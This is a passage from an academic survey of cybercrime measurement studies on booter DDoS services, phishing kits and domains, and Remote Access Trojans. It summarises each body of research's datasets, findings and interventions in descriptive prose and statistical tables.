±60 of them. Data collection continued, allowing for two more years of data to be an-
alyzed by Collier et al. [47]. The most recent honeypot measurement was presented by
Griffioen et al. [96], in which an entirely new honeypot network was built. This study
deployed 549 instances in five public clouds worldwide, demonstrating that the number
of honeypots needed to obtain sufficient attack coverage is much higher than shown in
the earlier work. Some studies complemented their honeypot measurements with data
from darknets – unused IP ranges, also known as network telescopes [96, 117, 132].

RECONNAISSANCE

Scanners are deployed to find vulnerable infrastructure to be used in DDoS attacks,
which can be observed through darknets. Deployment of such scanners was limited be-
fore 2012, as found by Krämer et al. [132]. Since then, scanning for DNShas gained more
popularity and increased for more protocols in 2014. However, by attributing scanning
IP addresses, Krämer et al. [132] found that over 40% of all scanners are operated by
universities and security organizations instead of DDoS providers. Thomas, Clayton &
Beresford [238] claimed to have excluded such ‘white-hat’ scanners from their data and
reported on 5,070 IP addresses scanning daily. During the measurement, they noticed an
increase in NTP and SSDP scanning and a slight decrease in DNS scanning. The largest
honeypot network to study reconnaissance was deployed by Griffioen et al. [96]. It con-
firmed the work of Krämer et al. [132] by observing prevalent research scans (30% of all
scans), finding that responsive IPs make scanners come back twice as fast, and notic-
ing the same packets used for both testing and attacking. Additionally, by periodically
switching honeypots between active and passive mode, the existence of a ‘memory’ of
previously exploited servers was discovered, indicating that attackers track vulnerable
servers instead of opportunistically selecting them for their attacks. A similar pattern
was learned from leaked booter databases by Karami, Park & McCoy [121] that noticed
booters gravitating to using more stable amplifier infrastructure when possible instead
of scanning for vulnerable machinery.

DEPLOYMENT

During deployment, booter operators assemble their attack infrastructure and create a
website to serve customers. In 2013, Karami & McCoy [120] examined TwBooter and re-
vealed that only 15 servers were used to perform their attacks, most of them hosted in
the Netherlands. Three years later, such servers were purchased by Karami, Park & Mc-
Coy [121], which allowed them to conclude that the required high uplink bandwidth can
be obtained with small investments. A different approach was discovered by Santanna et
al. [210] who found that all but one (TwBooter) based their attack infrastructure on Web
shells instead. Web shells are scripts that allow backdoor access to compromised ma-
chines, making them part of the DDoS infrastructure. Scrutinizing 42 booter websites
by Chromik et al. [35] learned that websites calling themselves ‘stressers’ did so to avoid
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legal problems. Most websites show a verbose page with text and appealing advertise-
ments to sell their services. Additionally, they noticed that nearly all websites have DDoS
protection. This was confirmed by Santanna et al. [211], who tracked 102 booter websites
over time and observed increased use of such protection since 2011. In 2014, none of the
analyzed booter services were unprotected. This finding was confirmed by Karami, Park
& McCoy [121], together with the notion that this was also to hamper take-down by law
enforcement.

EXECUTION – CUSTOMER

Behind every DDoS attack launched by a booter is a customer. The various leaked
databases give interesting insights into the customer base of booters. Karami & Mc-
Coy [120] identified three types of customers: gamers (launching attacks of less than 10
minutes), website attackers (launching attacks of one or two hours), and privileged users
(performing long attacks for more than two hours). Most of the TwBooter customers
could be categorized as gamers, attacking roughly three targets per day for a short
period. Santanna et al. [210] highlighted the importance of differentiating between
registered users and paying customers of booters, as the latter is significantly smaller.
It turns out that many users are just attracted to take a look at what a service can offer,
whereas only a few are interested in performing attacks. Karami, Park & McCoy [121] and
Brunt, Pandey & McCoy [26] drew similar conclusions, as they found that only roughly
13% and 15-23% of the users in their examined databases ever paid for an attack,
respectively. Multiple booter databases showed differences in OPSEC of customers as
well [210]. Frequent customers are more likely to take precautions by obfuscating their
real IP address – e.g., by using a VPN or Tor.

EXECUTION – TARGET

Several studies tried to map booter service attack targets. Karami & McCoy [120] catego-
rized most customers as gamers and, therefore, concluded that most targets were game
servers and forums. Subsequent analysis of leaked databases by Karami, Park & Mc-
Coy [121] learned that targets are predominantly residential links and gaming-related
servers, with only a handful of higher-profile targets, such as government, media, and
law enforcement websites. A finding later confirmed by Brunt, Pandey & McCoy [26].
Observing ongoing DDoS attacks through honeypots by Krämer et al. [132] showed that
victimization rates differ much per country. The U.S. stands out (one-third of all vic-
tims), followed by China (14%), and France (8.6%). Similar numbers were reported by
Collier et al. [47] four years later. Additionally, Krämer et al. [132] found that 79% of
victims are targeted just once. Analysis of the attacked ports showed a special interest
in gaming-related services, such as Xbox Live, Minecraft, and Steam. A similar analy-
sis performed by Jonker et al. [117] observed that attacks targeted at HTTP(S) are most
prevalent for TCP, whereas the most attacked ports for UDP are associated with various
online multiplayer games and Steam. As many websites are hosted on IP addresses op-
erated by large hosting companies, it was evinced that 64% of the .com, .net and .org
websites were hosted on IP addresses ever targeted by DDoS attacks. Targeted networks
were aggregated by their infrastructure by Kopp, Dietzel & Hohlfeld [129], who showed
that content hosting networks were attacked the most (37%), followed by access net-
works such as ISP s (35%). Using the same honeypot technology as Krämer et al. [132],
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Noroozian et al. [181] published the most comprehensive work on booter victimization
in 2016. It demonstrated that most attacks are directed towards users in access networks
and not at hosting or enterprise networks. The number of victims in an ISP network is
proportional to the number of ISP customers, just as the victimization rate in a hosting
network is proportional to the number of hosted domains. For the identified Web host-
ing victims, the authors discovered almost no high-profile targets, whereas the largest
victim group was again gaming-related websites, mostly related to Minecraft. Noroozian
et al. state that “in the Minecraft community specifically, DDoS attacks seem to be part
of the culture” [181]. The authors speculate that attackers and victims of booter services
are geographically close, and the low entry barrier of booter services allows victims to
easily become attackers themselves. Griffioen et al. [96] concluded that victimization
has changed in 2021. The U.S. and China are still popular among attackers. Yet, a dis-
proportional share of attacks on South Africa, Poland, and Kuwait was found – 51% of all
targeted IP addresses had an associated domain name. There were also numerous DDoS
attacks on residential IP address space.

EXECUTION – ATTACK

Earlier work has characterized booter DDoS attacks by, for example, attack duration and
used protocols. An overview of such studies is presented in Table 6.3. It shows that most
research effort is put into analyzing UDP reflection or amplification attacks. Only four
studies [117, 120, 121, 210] report on the use of the TCP protocol in DDoS attacks. Look-
ing at the popularity of UDP protocols for abuse, we observe a constant dominance of
DNS and NTP, even though their disclosure as DDoS amplification vectors was made
long ago [129]. Collier et al. reported on the rise of LDAP as a protocol in DDoS attacks,
but this was never confirmed by later research [47]. Kopp, Dietzel & Hohlfeld [129] an-
alyzed several other new attack vectors – such as WS-Discovery, ARMS, and OpenVPN
– and confirmed the active abuse of these protocols for DDoS attacks, yet not at the
scale of traditional ones. Daily attack numbers are hard to grasp, as each study covers
a different dataset and measurement approach. Yet, the numbers in Table 6.3 show a de-
clining number of daily attacks while attack duration remains relatively stable. Parallel
attacks introduce complexity in counting the number of attacks. For example, should a
booter customer that launches both an NTP and a DNS reflection attack toward a vic-
tim be counted as one or two attacks? Santanna et al. [210] noticed that 32% of attacks
have been launched in parallel, which means that new attacks against the same target
are launched during an ongoing attack. However, they also find that 38% of users do not
perform such attacks and perform just one attack per day on average. Attack durations
differ per protocol [96] and victim type [181]. Both Thomas, Clayton & Beresford [238]
and Noroozian et al. [181] noticed spikes in their attack duration measurements. They
observed many attacks with a specific duration of either 5, 10, 60, or 120 minutes, likely
caused by booter services offering exactly these amounts. Lastly, Griffioen et al. [96] dis-
covered a new adversary tactic – attack pulses – in which the attacker does not launch its
attack as a continuous flow but in powerful, periodic pulses. This maximizes the attack
power while minimizing the costs for the attacker.
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Table 6.3: Overview of DDoS attack characteristics. Grey-colored rows are based on self-reported numbers;
the others are based on network measurements. Protocols in bold are the most popular attack vectors. The
average attack duration is converted to seconds, and the number of attacks is per day.

Ref. Year UDP TCP Attacks Duration (s)

[120] 2013 DNS SYN - -
[210] 2015 UDP flood SYN - 260
[132] 2015 NTP, DNS - 10,235 62% ≤ 900
[121] 2016 SSDP, DNS SYN - 1,620
[181] 2016 DNS - 7,844 272 – 300
[117] 2017 NTP, DNS HTTP(S) 30,000 255 – 454
[238] 2017 NTP, DNS - 5,120 50% ≤ 658
[47] 2019 LDAP, NTP - 30,000 -

[131] 2019 NTP, Memcached - - -
[129] 2021 DNS, NTP - 809 ±360
[96] 2021 NTP, SSDP - 673 394

MONETIZATION

Four studies investigated the monetization strategies of criminal entrepreneurs.
Database analysis by Karami & McCoy [120] learned that 277 active users subscribed
to TwBooter, totaling a profit of $7,727 a month. A similar conclusion was drawn from
analyzing VDoS databases by Brunt, Pandey & McCoy [26]. A median revenue stream
of $25,985 was reported, with new customers making up the largest sum of revenue.
Although the studied booter supported both PayPal and Bitcoin as payment methods,
most profit was generated through clients paying with PayPal – which has ease-of-use
that stands out compared to Bitcoin. The popularity of PayPal was also noted by Karami,
Park & McCoy [121], who monitored the payment infrastructure of 23 booter services.
In confirmation with Brunt, Pandey & McCoy [26], only a small portion of booters
accepted Bitcoin payments. Santanna et al. [210] learned that most paying customers
paid only once to perform their attacks, and over 50% of customers paid $5.00 or less
for the booter’s services. Although booters offer differently priced services, the cheapest
services are the most popular.

INTERVENTIONS

As booter services impact the DDoS landscape, interventions either by law enforce-
ment [47, 131] or as part of scientific studies [121] have focused on disrupting their
business. Both Karami, Park & McCoy [121] and Brunt, Pandey & McCoy [26] studied the
effects of PayPal interventions on booter operations. While monitoring the payment in-
frastructure of 23 booter services, Karami, Park & McCoy [121] reported booter merchant
accounts to PayPal. Through this intervention, the average lifespan of such accounts
dropped from 8 to 3 days, and PayPal unavailability increased from 20% to above 60%
in the days after. Most booters eventually added alternative payment methods, such
as Bitcoin. A similar analysis was performed on VDoS by Brunt, Pandey & McCoy [26]
and observed decreasing revenue as soon as PayPal was removed as a payment method.
This hampered subscriber growth and eventually led to a decreasing user base. Only
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11% of the existing customers switched to Bitcoin when PayPal was no longer available.
The smaller user base also resulted in fewer attacks being launched, decreasing by 31%
in their analysis period.

The effects of booter takedowns by law enforcement are studied by Kopp et al. [131]
and by Collier et al. [47]. During the analysis of Kopp et al. [131], an FBI-led operation
seized 15 booter services [244]. Those takedowns caused significant reductions in DDoS
traffic to DNS, NTP, and Memcached reflectors, as observed from an IXP perspective,
but no significant reduction in traffic from those reflectors to targets. Kopp et al. note
that “seizing the domains of booter websites does not improve the situation for DDoS
victims, as the underlying infrastructure of reflectors remains online and can be utilized
by third parties without disruption” [131]. A longitudinal analysis of UDP amplification
attacks by Collier et al. [47] revealed that after each police intervention, the number of
observed attacks decreased significantly for a short period but kept increasing in the long
run. Search engine adverts (discouraging the use of booters) and the closure of multiple
booter websites had a longer-lasting effect on the booter market than arrests.

BOOTER TAKEAWAYS

In contrast to other cybercrimes, much ground-truth data (e.g., leaked databases) is
available for research [26, 120, 121, 210], allowing for valuable insights into booter op-
erations, attackers, and targets. As a result, all components in the value chain have
been studied within the last 15 years. However, most measurements have focused on
the execution component. Reconnaissance has been studied throughout the years, but
although booters remain on the radar for LEA worldwide [70], insights into its deploy-
ment and monetization have not been gathered since 2016 and 2017, respectively. An-
other unique aspect of this cybercrime is the number of interventions that happened
during measurements, which allowed researchers to show that most LEA interventions
seem to have a short-term effect [47], whereas other interventions, such as on payment
infrastructure [26, 121], seem to have a longer-lasting effect. Customers seem to be di-
verse, yet a large portion can be related to online gaming. Analysis of groups of booter
customers showed great differences, both in terms of victim selection and OPSEC. At-
tack characteristics across studies show that long-established attack vectors (e.g., DNSor
NTP amplification) remain popular while others exist. Research into booter operations
also introduces noise, as scanning by security researchers is prevalent [132, 238]. This
has to be considered to avoid measurement biases, especially in the reconnaissance
phase [96]. Lastly, the popularity of analyzing the same booter databases in multiple
studies [26, 121, 210] suggests that some measurements are driven by data availability.

6.4. PHISHING MEASUREMENTS
Phishing is the nefarious practice of harvesting user credentials through various means
of deception. In our study, we specifically include work on phishing used for gaining
direct profits – e.g., obtaining bank credentials to steal funds. We are aware that phish-
ing can also be used to gain initial access to a (company) network, but we do not in-
clude such use in our survey. Illustrated in Figure 6.2, we present the components of the
phishing value chain. Development is typically served through a phishing kit – an off-
the-shelf package containing Web pages mimicking a company login page. Occasionally,
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they feature a back-end panel that allows access to the phished credentials. Deployment
involves registering a domain name and acquiring hosting facilities. During execution,
victims interact with the phishing website, followed by the monetization of the phished
credentials. We find 19 large-scale technical measurements of phishing published be-
tween 2007 and 2022, which we list in Table 6.4 and detail in the next paragraphs.

DATASETS

A diverse set of data sources can be found in phishing studies, as evident from
the overview provided in Table 6.4. Most studies gather a large body of phishing
URLs or domains from a database of known phishing pages to analyze afterward.
Until 2019, this source was predominantly PhishTank [195], a community-vetted
database of phishing URLs. Until 2019, 7 of the 11 measurements relied on this
source [49, 52, 140, 158, 167, 192, 241]. This shifted towards other databases such
as the APWG eCrime Exchange [9] and OpenPhish [186] in the years that followed.
From 2020 onward, combining different data sources gained traction [20, 58, 126, 192].
The introduction and adoption of Certificate Transparency (CT) [92] in 2018 - 2019
opened up new methods to discover phishing domains and was immediately put
to use in several studies [15, 20, 126]. WHOIS records in phishing research are
mostly used to complement other datasets [15, 58, 126, 158, 261]. In terms of
data types, we observe a shift from (passive) domain and URL-based measure-
ments [140, 158, 182, 222] towards active measurements using a crawler that inspects
live phishing pages [15, 20, 58, 126, 231, 260, 261].

DEVELOPMENT – PHISHING KITS

The development component of a phishing attack is typically served through a phishing
kit. The first study on such kits by Cova et al. [49] showed that more than a third con-
tained obfuscated backdoors exfiltrating phished credentials to a third party. This was
quantified by Peng et al. [192] years later, with 5% of phishing pages also disclosing cre-
dentials to third-party collectors. Additionally, Cova et al. [49] noted that all kits were
written in PHP, likely because of the easy deployment on (shared) hosting servers. This
was confirmed twice more, in 2017 by Thomas et al. [240], and in 2021 by Bijmans et
al. [15]. Most kits impersonated one specific organization – mostly a U.S bank or Pay-
Pal –, and email was found to be the most frequently used method to deliver disclosed
information. PayPal was also found to be most mimicked by Han et al. [98] in 2016 and
by [192] in 2019. A similar analysis as Cova et al. [49] was performed years later by Bi-
jmans et al. [15] by gathering phishing kits from Telegram and open server directories
on live phishing pages. In contrast to Cova et al. [49], high utilization of multipanels
was observed by Bijmans et al. [15] – a type of kit that targets multiple organizations si-
multaneously – and they found many versions of the same uAdmin phishing kit, which
was the most deployed phishing kit at the time. Like Thomas et al. [240], it was found
that only a small number of phishing kits are actively used by many different attackers.
Email was no longer used to deliver disclosed credentials, as most kits contained a panel
hosted on the same domain to access them instead. Additionally, the use of decoy pages
was discovered, enabling multi-stage phishing attacks involving multiple brands in one
campaign. Phishing websites were grouped through vector clustering on the DOM by
Cui et al. [52], which allowed for the observation that attackers only search for a new
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domain for their attack instead of modifying their phishing pages. However, as pointed
out by both Thomas et al. [240] and Bijmans et al. [15], this could result from the same
phishing kit being used by many different actors. Through an analysis of live phish-
ing pages, Subramani et al. [231] report on phishing kit capabilities. A third of pages
logged keystrokes and shared them with the attacker as soon as they were typed, and
almost half of the websites required users to disclose their credentials in multipage Web
forms, hereby confirming the findings of Bijmans et al. [15]. Although modern phish-
ing sites impersonate a certain brand’s Web page, 42% of phishing pages are not direct
clones of the corresponding legitimate ones. This was also mentioned by Tian et al. [241]
four years earlier, which concluded that such evasions would render visual similarity de-
tection ineffective. Finally, a new type of phishing through man-in-the-middle (MITM)
attacks was evinced by Kondracki et al. [126], circumventing multi-factor protections.

DEVELOPMENT – CLOAKING

To prevent phishing websites from being detected, attackers deploy cloaking mecha-
nisms to thwart security researchers from accessing their phishing websites. Here, the
server presents different content to scanners instead of regular visitors. The first analy-
sis of such mechanisms was by Thomas et al. [240], who found that many phishing kits
deploy a htaccess policy or employ a blocklist to frustrate visits from cloud providers,
anti-virus brands, and anonymous proxies like Tor. A year later, 2,313 of such .htaccess
files were examined by Oest et al. [182] to discover that blockades based on IP address,
hostname, referrer, and User Agent are most common. Most .htaccess files are con-
stantly reused and not kept up to date – as most of them were last modified over a year
before their deployment. 23% of all phishing websites were found to implement client-
side cloaking techniques in 2018 according to Zhang et al. [260], which grew up to 34%
in 2019. The most common technique was the use of pop-ups (content remains hid-
den until a button in a pop-up window is clicked) and click-through interaction (con-
tent is shown when a visitor clicks somewhere on the page). Follow-up work by Zhang
et al. [261] showed that intentionally triggering server-side cloaking behavior could be
used as a method to detect phishing websites. Analysis of live phishing kits revealed that
96% employed cloaking techniques in 2022, and Kondracki et al. [126] showed 85% of
MITM phishing kits did too.

DEPLOYMENT

The deployment of phishing websites in the wild was first studied by Moore et al. [167]
by monitoring 1,685 domains from PhishTank [195]. They found an average uptime of
62 hours, with a median of 20 hours. Additional analysis of domains related to the Rock-
Phish gang revealed the use of fast-flux domains, which resulted in a longer average up-
time of 95 hours. As listed in Table 6.5, this research inspired others to perform similar
measurements of phishing website life cycles. WHOIS records were used by McGrath et
al. [158] to discover that most domains are used almost immediately after registration.
Periodic DNS resolving of the examined domains revealed that, on average, a phishing
domain lasts just over three days, but a third of all domains last only 55 minutes. An
estimated lifespan of eight days for phishing kits installed in a honeypot was calculated
by Han et al. [98]. Honeypot monitoring further revealed that attackers act fast when
installing and testing their kits. This was quantified by Oest et al. [183], who found a
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one-hour window between the first attacker tests and the first victim. Most URLs were
hosted on paid domain names, whereas only a very small portion used subdomains of-
fered by free hosting services. Two-thirds of distinct URLs were served over HTTPS, but
86% of the compromised visitors visited over HTTPS, meaning that the use of HTTPS
proved more successful than HTTP. A percentage that was much lower one year earlier,
when 34% of websites were served over HTTPS according to Peng et al. [192]. Subse-
quent studies leveraged the TLS certificates for HTTPS connections to detect phishing
websites in CT logs. Bitaab et al. [20] observed a spike in newly issued certificates for
COVID-19-related domains during the pandemic, peaking at more than seven thousand
per day. CT logs also allowed for the identification of 1,363 domains targeted at the cus-
tomers of Dutch financial institutions by Bijmans et al. [15]. Further analysis confirmed
the one-hour testing window found by Oest et al. [183], as most domains had a kit in-
stalled one hour after they first responded. A surprising amount of these domains were
hosted (73%) and registered (34%) through Namecheap. In the same year, Kondracki et
al. [126] found most MITM domains hosted at DigitalOcean – demonstrating the need
for more demanding requirements (e.g., a VPS instead of shared hosting) for such at-
tacks. TLS certificates were not used for detection by Drury et al. [58], but to timestamp
phishing websites. They found TLS certificates to be often requested close to the oc-
currence of a phishing website on a blocklist – 27.6% were requested within 24 hours of
inclusion. Date information included in file headers yielded insights into the resource’s
creation and indications of resource sharing among phishing websites.

DEPLOYMENT – URLS & DOMAINS

Much research focused on URLs and domain names used in phishing, which started rel-
atively unstructured. From Cova et al. [49], we learn that 63% of live phishing kits were
hosted on trustworthy domains with the targeted brand inserted in the path, and 30%
of phishing URLs had no clear relation with the targeted brand. That phishing domains
tend to be online for shorter periods than benign ones was discovered by McGrath et
al. [158], whereas their URLs are typically longer. Additionally, phishing domains typi-
cally have fewer unique characters, and more than half of the examined domains contain
the targeted brand name. In 2007, the first efforts were made to structure the analysis of
phishing URLs. A taxonomy defining four types was proposed in [80], only to be used
by Moore et al. [167]. It was later updated by Oest et al. [182] who proposed five types,
used by Bijmans et al. [15] and Oest et al. [183]. Phishing URLs contain either an IP ad-
dress as hostname and a deceptive path (Type I), a random domain and a deceptive path
(Type II), a long and deceptive subdomain (Type III), a deceptive top-level domain (Type
IV), or are unintelligible (Type V). 61% Type V domains were found by Oest et al. [182],
followed by 21% Type IV domains. Follow-up work in 2020 by Oest et al. [183] showed
fewer Type V domains, 29% Type IV domains, an increase in Type II domains (35%), and
28% Type IV domains. Almost solely Type IV domains (95%) were found by Bijmans et
al. [15] by monitoring CT logs for phishing domains. Half of the domains did not contain
references to the targeted brands, just deceptive keywords. The gTLDs .info and .com
were among the most popular ones, followed by cheap TLDs such as .xyz. Similarly,
Kondracki et al. [126] reported that combo-squatting (Type IV) and target embedding
(Type III) were most prevalent but varied significantly per target for the MITM phishing
websites. Typosquatting – e.g., replacing one character of a target domain name – was
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Table 6.5: Phishing lifetime measurements.

Ref. Year Amount Type Uptime

[167] 2007 1,685 URLs 62h average, 20h median
[158] 2008 7,394 Domains 72h average, ±30% 55m
[98] 2016 474 Kits 192h
[241] 2018 1,741 Domains (sq.) 80% ≥ 1 month
[183] 2020 404,628 URLs 21h avarage
[15] 2021 1,288 Domains 45h average, 24h median
[126] 2021 1,220 Websites 40% ≥ 24h, 15% ≥ 480h

hardly employed. This deceptive method was studied by Tian et al. [241] and [223]. Tian
et al. [241] searched proactively for phishing domains by crafting squatting domains and
checking for their existence in DNS records. Half of the registered domains were live dur-
ing the crawling window, and 3% of domains redirected users to domain marketplaces.
Verification revealed that just 0.2% were phishing pages. However, 91.5% of these phish-
ing pages remained undetected for at least a month, which suggests that they are more
challenging to detect. A similar approach was followed in [223] by combining company
registrations with .com zone files. 95% of the studied companies had at least one poten-
tial visual impersonation domain (VIDN), yet only 7% had at least one registered mis-
spelling during the ten-year analysis period. Historical WHOIS records allowed for the
clustering of VIDNs and showed that only a handful of companies register VIDNs defen-
sively.

EXECUTION

Half of the examined works have studied the execution of a phishing attack. Analyzing
publicly available page logging on phishing websites by Moore et al. [167] estimated that
when a phishing website was removed within one day of reporting, the average number
of visitors disclosing their credentials was 18, with eight more for each day thereafter.
Thirteen years later, an acceleration of this process was reported by Oest et al. [183], who
found that most visits take place in the nine hours between the first victim visit and de-
tection. During these nine hours, phishing websites lure in 62% of their victims. In the
2007 analysis by Moore et al. [167], half of the responses entered were fake, and many
visits to the landing page of a phishing website were observed. This was quantified by
Han et al. [98], who analyzed the visitors of the websites installed in honeypots. Many
visits originated from security scanners. Just 9% of all real visitors (security scanners
excluded) disclosed any credentials. Crafted credentials were fed into 150 live phish-
ing websites in an experiment by Peng et al. [192] to examine their progression. Only
seven leaked accounts received logins quickly after disclosure. Some accounts received
multiple attempts from different IP addresses, probably the result of credentials being
disclosed to multiple attackers through backdoors in the phishing kit. The longitudinal
study of the underground ecosystem fueling credential theft by Thomas et al. [240] was
in collaboration with Google. 3,785 credential leak dumps were gathered by monitoring
various online sources, which were checked against Google’s user base. Over two million
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vulnerable Google users could be tied back to deployed phishing kits, 25% of them with
a matching password. Examining the login geolocation of Gmail accounts that were in-
volved revealed that 42% of them were last accessed in Nigeria. Oest et al. [183] showed
that the most prevalent geolocations coincide with countries disproportionately associ-
ated with cybercrime. This is in contrast to Han et al. [98], who compared the geolocation
of victim IP addresses with the target population of phishing kits and found that many
received most of their victims from a single country. This was later confirmed by Bijmans
et al. [15] by examining phishing kit installation times and their manuals.

The increased use of URL shorteners also allowed for a new method of delivering
phishing URLs. In 2008, their abuse was noticed by McGrath et al. [158], albeit not very
large – only 217 cases. More than ten years later, just 31 short URLs were discovered in the
dataset of Peng et al. [192]. Many more were found by Le Page et al. [140] who used URL
shortening services to compare the life cycle of phishing and malware attacks. Analysis
of bit.ly short URLs showed that phishing short URLs have a high click-through rate
but a short uptime and are most active 4 hours before being reported as malicious.

MONETIZATION

Just one study examined the monetization of phished credentials. Oest et al. [183] found
that 7% of real visitors with an active account at the targeted organization suffered a
fraudulent transaction, on average, five days after being phished. Additionally, 63% of
the compromised accounts would later appear in a public dump, on average, almost a
week later, suggesting that criminals first monetize phished credentials themselves be-
fore selling them off.

PHISHING TAKEAWAYS

From Table 6.4, we learn that the research focus has shifted towards the left – from ex-
ecution and deployment towards the development component in the value chain. Yet,
only one study, Oest et al. [183], yields insights into the monetization of phishing at-
tacks. As a result, insights into how criminals make a profit from phishing attacks remain
mostly anecdotal. Over time, more active measurements involving a crawler have been
deployed, in contrast to earlier work that focused more on passive (domain) datasets.
Consequently, due to changing attacker TTP, analysis of live phishing Web pages is in-
creasingly included in research over time. The increased use of HTTPS by phishers has
made their pages more believable [183], at the same time allowing for new possibilities to
detect them through Certificate Transparency logs by defenders [15, 126]. We observe a
similar pattern for the increased use of cloaking in phishing kits, which researchers have
exploited by designing techniques to use it for detection [126, 261]. A closer look at the
used data sources reveals the prevalent use of some data sources, such as PhishTank or
APWG eCX, which could introduce biases [41]. For example, attacks mimicking PayPal
are extensively studied, which raises the question of generalizing these results [98, 192].
Only two studies scoped their measurement to a company [183] or a country [15], while
multiple studies suggested the localized nature of phishing [15, 98]. Lastly, just as with
booter service measurements, extensive scanning from the security industry [98, 183]
hampers robust measurements.
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6.5. RATS MEASUREMENTS
A Remote Access Trojan (RAT) is a type of malware that allows an attacker to take over
a victim’s computer [74]. Typically, this includes access to audio and video interfaces,
as well as logging of mouse movement and keyboard input. RATs require manual in-
teraction from an attacker and are not designed to execute and exfiltrate automatically,
unlike traditional malware [258]. This makes RATs a preferred choice for targeted at-
tacks [73, 74]. Monetary value is created through victim extortion or reselling initial ac-
cess. A typical value chain for such an attack is depicted in Figure 6.3, in which we iden-
tify four components. In development, cybercriminals search for developers and soft-
ware to achieve their remote access. The required infrastructure to successfully operate
the software is set up during deployment. Next, in the execution, an attacker delivers a
stub, which can be controlled using a control panel or controller, hosted at a domain and
server under the attacker’s control. Lastly, profits are made through the acquired access
in the monetization component. Although RATs have been around since 1999 [258], they
have not been extensively studied. We could identify five large-scale technical measure-
ments published between 2017 and 2022, which we list in Table 6.6 and further detail in
the following paragraphs.

DATASETS

VirusTotal is the starting point for most RAT research. Through the years, consecutive
studies collected more samples (stubs) for their analyses. First, Farinholt et al. [74] ex-
amined 19k samples in 2017, then Rezaeirad et al. [201] with 27k samples in 2018, and
Farinholt et al. [73] used 146k samples in 2020. Only two studies did not use VirusTotal
as a source for measurements. Significant effort was spent by Yang et al. [258] to search
underground forums for RATs manually. Faulkenberry et al. [75] combined malware do-
mains from the GT Malware Passive DNS feed with authoritative DNS data. Three stud-
ies employed Internet scanning to discover RAT artifacts [73, 74, 201] and two [74, 201]
designed honeypots to study interactions. Three studies [73, 74, 201] focused predomi-
nantly on two RAT families, namely DarkComet or njRAT.

DEVELOPMENT

An overview of RAT characteristics by Yang et al. [258] comprises static and dynamic
analysis on 53 RATs. A stub was generated for each RAT, and it was found that high-level
programming languages (such as C# and VB.NET) are the most popular, as they require
only a few or no runtime dependencies. 90% of these RAT stubs targeted solely Windows
computers. Additionally, analysis of both the stubs and controller panels revealed that
over 80% of the RATs were able to log keystrokes, set up a remote shell, download and ex-
ecute files, and enable the camera. Oftentimes, these functionalities were implemented
similarly across different RATs. Both Farinholt et al. [74] and Farinholt et al. [73] did not
study the development of RATs, but through their analysis of the deployment and exe-
cution of DarkComet, they did discover several facts about its development. Analysis by
Farinholt et al. [74] revealed that DarkComet stubs contain a campaign ID to manage
infections, a password to encrypt communications, and a list of controller IP addresses.
Follow-up work by Farinholt et al. [73] detailed how to discover DarkComet controllers
and download their victim databases.
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DEPLOYMENT

Different approaches have been employed to gain insights into RAT infrastructure. A live
overview of DarkComet was obtained by Farinholt et al. [74] by extracting controller do-
mains and IPs from stubs and through continuous Internet-wide scanning for specific
banner responses. 175 online controllers were found at any given time (9,877 in total
during an eight-month monitoring period). More controller activity was observed on
the weekends compared to the rest of the week. Both Farinholt et al. [74] and Farinholt
et al. [73] found Turkey and Russia to be hosting many DarkComet controllers, whereas
Rezaeirad et al. [201] reported on the prevalence of North Africa, the Middle East, Brazil,
and Russia as hosting locations. Many controller domains use a dynamic DNS (DDNS)
service to rapidly change IPs. A user types mapping of these IPs suggests that roughly
90% of controllers are hosted on residential IP networks, likely with limited OPSEC [74].
Two strategies were deployed by Rezaeirad et al. [201] to examine RAT controller opera-
tions. Through RAT-Hole, a honeypot to mimic a RAT controller, and RAT-Scan, to mimic
a victim searching for its controller. The latter periodically resolved discovered domains
and IPs from sandbox executions and identified 4,584 njRAT and 2,032 DarkComet con-
troller IPs within a seven-month measurement period. The use of DDNS, as discovered
by Farinholt et al. [74], was leveraged by Rezaeirad et al. [201] to register 6,897 expired
DDNS domains previously used by RAT controllers. RAT-Hole revealed that the major-
ity of traffic towards the honeypot originated from scanners and sandbox executions – a
limited number of connections arose from victims. Analysis of downloaded DarkComet
configurations by Farinholt et al. [73] discovered 3,518 IP addresses used by 1,162 RAT
controllers in a 213-day measurement period. The average uptime of such controllers
was 484 days, with some being functional for over three years. A global infrastructure
of 399K IPs in 151 countries spread over 202 malware families during a four-year mea-
surement period was observed by Faulkenberry et al. [75]. Various RATs were observed
in use in 2022, although DarkComet and njRAT were the most prevalent. Additionally,
much interest from scanners soon after a domain is listed as malicious was observed,
inflating infection population counts if not properly filtered for.

EXECUTION – ATTACKERS

Monitoring attacker behavior in a controlled environment (e.g., a sandbox) reveals com-
mon attacker actions on a target machine. Executing 1,165 DarkComet samples in a
honeypot learned that operators commonly access the webcam (61%), steal stored pass-
words (43%), or explore the victim’s file system (40%) [74]. An average session lasted four
minutes, 45% of the sessions were motivated by access to a human user – e.g., for harass-
ment or extortion – and at least 58% of RAT operators were motivated by access to user
credentials. Analysis by Rezaeirad et al. [201] showed that 43% of controller domains re-
ceived only a single victim, 90% received at most 20 victims, and just 5% received over 40
victims. This suggests that some attackers widely distribute their malware, whereas oth-
ers operate more targeted. A similar disparity was reported by Farinholt et al. [73], who
found a median of two victims per controller, with ten outliers amassing over a thousand
victims each. Lastly, Farinholt et al. [73] found that only 16% of operators use a VPN to
hide their tracks.



6.6. MEASUREMENT CHARACTERISTICS

6

165

EXECUTION – VICTIMS

Two studies examined RAT victims. Rezaeirad et al. [201] by letting victims connect to
expired DDNS domains and Farinholt et al. [73] by scrutinizing downloaded controller
databases. Victim connections found by Rezaeirad et al. [201] showed that most victim
IPs are static, and more than half of them have a webcam, making them susceptible to
extortion via camera recordings. Infections last long, as 90 days after the controller do-
main expiration and registration by the researchers, 40% of domains were still receiving
victim connections. Almost every country was home to RAT victims, with Brazil being
the most prevalent. Correlating the controller and victim locations revealed that they
are often located in the same country. This finding was later confirmed by Farinholt et
al. [73], who found that more than 74% of attackers with limited victims are located in
the same country as most of their victims. Leveraging downloaded databases by Far-
inholt et al. [73] revealed a total of 57,805 victims in a five-year measurement period.
Several steps were taken to validate this number and to allow for comparison with the
work of Rezaeirad et al. [201], yielding an overestimation of the number of victims by
40%. Lastly, DarkComet was found to have collected 79,142 keystrokes and recorded 60
hours of activity over 9.6 days for each victim on average.

RATS TAKEAWAYS

Academic measurements focus predominantly on the deployment and execution of
RATs, as shown in Table 6.6. The capabilities of stubs, attacker actions, and infras-
tructure have been well studied, but how RATs end up at victims or how infections are
monetized remains unknown. The prevalent use of VirusTotal as a source for RAT stubs
stands out and could introduce a measurement bias, as its database mostly depends on
